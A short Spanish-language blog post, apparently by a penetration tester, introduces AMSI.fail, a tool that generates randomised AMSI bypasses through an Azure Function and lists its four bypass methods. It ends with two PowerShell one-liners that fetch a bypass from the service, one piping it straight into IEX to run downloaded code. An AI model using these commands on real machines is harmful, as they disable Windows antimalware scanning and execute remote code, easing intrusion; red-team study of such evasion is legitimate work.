¡Buenas a todos!
En el artículo de hoy quería enseñaros una herramienta o utilidad que llevo bastante tiempo utilizando en algunos engagements. Si bien la herramienta no hace uso de ninguna técnica nueva para hacer un bypass de AMSI, lo que si hace es generar un bypass totalmente aleatorio. De esta forma, ningún payload tendrá la misma firma que otro. Para realizar esto, el creador de la herramienta @Flangvik, ha hecho uso de una Azure Function que genera un bypass de AMSI distinto cada vez que se invoca al método a través de una petición GET al recurso.
Actualmente, AMSI.fail hace uso de cuatro tipos de bypass:
- Unknown - Force error.
- Matt Graebers Reflection method.
- Matt Graebers Reflection method with WMF5 autologging bypass.
- Matt Graebers second Reflection method.
Para facilitar el uso de la herramienta, el creador ha puesto a disposición de la comunidad un dominio llamado amsi.fail que hace de interfaz web para la Azure Function en cuestión. Permitiendo así, que cualquier usuario pueda copiar el payload con mayor facilidad.
$(Invoke-WebRequest https://amsi-fail.azurewebsites.net/api/GenerateEnc).Content
IEX (New-Object Net.WebClient).DownloadString("https://amsi-fail.azurewebsites.net/api/Generate");
¡Saludos!